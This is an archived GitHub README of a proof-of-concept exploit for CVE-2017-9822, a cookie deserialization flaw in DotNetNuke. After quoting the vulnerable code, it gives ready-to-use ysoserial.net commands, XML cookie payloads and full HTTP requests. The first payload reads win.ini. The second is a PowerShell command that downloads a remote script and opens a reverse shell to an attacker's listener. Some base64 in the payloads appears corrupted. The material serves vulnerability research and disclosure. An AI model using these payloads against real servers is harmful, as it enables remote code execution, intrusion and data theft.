

GitHub - murataydemir/CVE-2017-9822: [CVE-2017-9822] DotNetNuke Cookie Deserialization Remote Code Execution (RCE) · GitHub

GitHub - murataydemir/CVE-2017-9822: [CVE-2017-9822] DotNetNuke Cookie Deserialization Remote Code Execution (RCE) · GitHub - murataydemir, GitHub.

- Published: date not stated
- Original: <https://github.com/murataydemir/CVE-2017-9822>
- Preserved from: <https://github.com/murataydemir/CVE-2017-9822> (preserved-copy) on 2026-08-04
- Repository commit: 40bd1d2b5f2e13e6357e89e8222856140b96ec4b
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy: selected documentation at the recorded commit. Source code is never checked out, built or run.

- Repository: <https://github.com/murataydemir/CVE-2017-9822>
- Commit: 40bd1d2b5f2e13e6357e89e8222856140b96ec4b
- Documents preserved: 1

README.md

Blob 14e4ddd6e5be , 13060 bytes, at commit 40bd1d2b5f2e .

[CVE-2017-9822] DotNetNuke Cookie Deserialization Remote Code Execution (RCE)

DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected to deserialization vulnerability that leads to Remote Code Execution (RCE). DotNetNuke uses the `DNNPersonalization` cookie to store anonymous users' personalization options (the options

for authenticated users are stored through their profile pages). This cookie is used when the application serves a custom 404 Error page, which is also the default settings.

Vulnerable part of the C# code is illustrated as below: DNN

Platform/Library/Common/Utilities/XmlUtils.cs

```

public static Hashtable DeSerializeHashtable(string xmlSource, string rootname)
{
    var HashTable = new Hashtable();

    if (!String.IsNullOrEmpty(xmlSource))
    {
        try
        {
            var xmlDoc = new XmlDocument();
            xmlDoc.LoadXml(xmlSource);

            foreach (XmlElement xmlItem in xmlDoc.SelectNodes(rootname
+ "/item"))
            {
                string key = xmlItem.GetAttribute("key");
                string typeName = xmlItem.GetAttribute("type");

                // Create the XmlSerializer
                var xser = new
XmlSerializer(Type.GetType(typeName));

                var reader = new XmlTextReader(new
StringReader(xmlItem.InnerXml));

                // Use the Deserialize method to restore the
object's state, and store it
                // in the Hashtable
                hashTable.Add(key, xser.Deserialize(reader));
            }
        }
        catch (Exception)
        {
            // Logger.Error(ex); /*Ignore Log because if failed on
profile this will log on every request.*/
        }
    }

    return hashTable;
}

```

Note that fixed code can be found at [DotNetNuke github repository](#)

The expected structure includes a `type` attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it

attempts to load the current user's profile data, which occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system.

Proof of Concept (PoC) 1: Safe Mode (just detect)

In order to generate payload (to check vuln.), use [YSoSerial.net](https://ysoserial.net) with DotNetNuke plugin

```
PS C:\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p DotNetNuke --help
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
```

Plugin:

DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)

Options:

-m, --mode=VALUE	the payload mode: read_file, write_file, run_command.
-c, --command=VALUE	the command to be executed in run_command mode.
-u, --url=VALUE	the url to fetch the file from in write_file mode.
-f, --file=VALUE	the file to read in read_file mode or the file to write to in write_file_mode.
--minify	Whether to minify the payloads where applicable (experimental). Default: false
--ust, --usesimpletype	This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true

```
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p DotNetNuke -m read_file -f
C:\Windows\win.ini
```

or simply, use the following payload

```

<profile>
  <item key="name1: key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],
System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance">
      <ExpandedElement />
      <ProjectedProperty0>
        <MethodName>WriteFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

```

If everything goes well, following request will return content of win.ini file in response body.

```
GET /__ HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101
Firefox/79.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],
System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName>
<MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType>
</MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item>
</profile>
```

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: .ASPXANONYMOUS=...; expires=Wed, 28-Oct-2020 03:54:58 GMT; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 19 Aug 2020 17:14:58 GMT
Connection: close
Content-Length: 109
```

```
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```

Proof of Concept (PoC) 2: Aggressive Mode (exploit with powershell reverse tcp shell)

On local machine, listen any port that you don't use

```
$ nc -nlvp 7575
```

Generate payload using [YSoSerial.net](https://ysoserial.net) with DotNetNuke plugin

```
PS C:\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p DotNetNuke -m run_command -c
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/
Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress
192.168.1.101 -Port 7575"
```

Payload

```

<profile>
  <item key="key"
type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter
, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],
[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfObjectStateFormatterObjectDataProvider>
      <ProjectedProperty0>
        <ObjectInstance p3:type="ObjectStateFormatter"
xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" />
        <MethodName>Deserialize</MethodName>
        <MethodParameters>
          <anyType xmlns:q1="http://www.w3.org/2001/XMLSchema"
p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-
instance">/wEylQkAAQAAAP///8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmV
yc2lrbj0zLjAuMC4wLkBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAA
AEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlVLlRleHQuRm9ybWFOdGluZy5UZXh0Rm9ybWFOdGluZ1J1b1Byb3BlcnRpZ
XMBAAAAD0ZvcVncm91bmRCcnVzaAECAAAABgMAAAC3Bzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi
04Ij8+DQo8T2JqZWNOGRGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IiN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0
iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taW9yb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50
YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlO1N5c3RlbS5EaWFnbm9zdGllczthc3NlbWJseT1TeXN0ZW0iI
HhtbG5zOng9Imh0dHA6Ly9zY2h1bWZlLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdE
RhdGFQcm92aWRlci5PYmplY3RjbN0YW5jZT4NCiAgICAgICA8c2Q6UHJvY2Vzc24NCiAgICAgICAgIDxzZDpQcm9jZXNzLlN
0YXJ0SW5mbz4NCiAgICAgICAgICAgPHNk01Byb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBD0lxXaW5kb3dzXFN5
c3RlbTMxYXZpYmRvd3Nqb3dlclNoZWxsXHYxLjBccG93ZXJzaGVsbC5leGUGaWV4ICh0ZXctT2JqZWNOIE5ldC5XZ
WJDbGlbnQpLkRvd25sb2FkU3RyaW5nKcdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YX
Nob2svbmlzaGFuZy9tYXN0ZXIvU2h1bGxzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScp00ludm9rZS1Qb3dlclN
oZWxsVGNwIC1SZXZlcnNlIC1JUEFkZHZlc3MgMTkyLjE2OC4xLjEwMSAtUG9ydCA3NTc1IiBTdGFuZGFyZEVycm9y
RW5jb2Rpbmc9Int40k51bGx9IiBTdGFuZGFyZE91dHBldEVuY29kaW5nPSJ7eDp0dWxsfsIgvXNlck5hbWU9IiIgU
GFzc3dvcmQ9Int40k51bGx9IiBEb21haW49IiIgTG9hZGVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZC
IgLz4NCiAgICAgICAgIDwvc2Q6UHJvY2Vzc2V5dGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdER
hdGFQcm92aWRlci5PYmplY3RjbN0YW5jZT4NCjwvT2JqZWNOGRGF0YVByb3ZpZGVyPgS=</anyType>
        </MethodParameters>
      </ProjectedProperty0>
    </ExpandedWrapperOfObjectStateFormatterObjectDataProvider>
  </item>
</profile>

```



```
GET /__ HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter , System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a], [System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider><ProjectedProperty0><ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" /><MethodName>Deserialize</MethodName><MethodParameters><anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEyLQkAAQAAP///8BAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lrbj0zLjAuMC4wLCBDdWx0dXJLPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmZyODUZYWQzNjRlMzMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlVLlRleHQURm9ybWF0dGluZySUZXh0Rm9ybWF0dGluZjl1blByb3BlcnRpZXBMAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC3Bzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWNOGRGF0YVBbyb3ZpZGVyIE1ldGhvZE5hbWU9ILN0YXJOIiBiJC0luaXRpYWxMb2FkRW5hYmxlZD0iRMfsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmlzc2Vuc2VudC5jb20vd2luZngvMjAwNi9hYWI1Sj4NCiAgPE9iamVjdE RhdGFQcm92aWRlcil5PYmplY3RJbnN0YW5jZT4NCiAgICAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNLIN0YXJO5SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbmRzPSIVyYBD0lxXaw5kb3dzXFN5c3RlbtMyXFdpbmRvd3NQb3dlclNoZWxsXHXYLjBccG93ZXJzaGVsbC5leGUgaWV4ICH0ZXctT2JqZWNOIE5ldC5XZ WJD bGLlbnQpLkRvd25sb2Fku3RYaW5nKCDodHRwczoV3JhdY5naXRodWJlc2VyY29udGVudC5jb20vc2Ftc mF0YX Nob2svbmlzaGFuZy9tYXNOZXIvU2hlbgxzL0ludm9rZS1Qb3dlclNoZWxsVG NwLnBzMScp00ludm9rZS1Qb3dlclNoZWxsVG NwIC1SZXZlcnNlIC1JU EfkZHJlc3MtKyLjE2OC4xLjEwMSAtUG9ydCA3NTc1IiBTdGFuZGFyZEVycm9y RW5jb2Rpbmc9Int40k51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaw5nPSJ7eDP0dWxs fSIgVXNlck5hbWU9IiIgU GFzc3dvcmQ9Int40k51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZSU5hbWU9ImNtZC IgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzc y5TdGFydEluZm8+dQogICAgPC9zZDpQcm9jZXNZPgOKICA8L09iamVjdER hdGFQcm92aWRlcil5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWNOGRGF0YVBbyb3ZpZGVyPgs=</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>
```

Original blogpost is available [here](#)
 Also, there is a metasploit module available for CVE-2017-9822 with Excellent ranking. You can find out ruby codes of metasploit module for `exploit/windows/http/dnn_cookie_deserialization_rce`
 If you want to deep dive into CVE-2017-9822, there is a well documented [pull request](#) for metasploit module

Archived from <https://github.com/murataydemir/CVE-2017-9822>. Rendered offline from the local Markdown copy.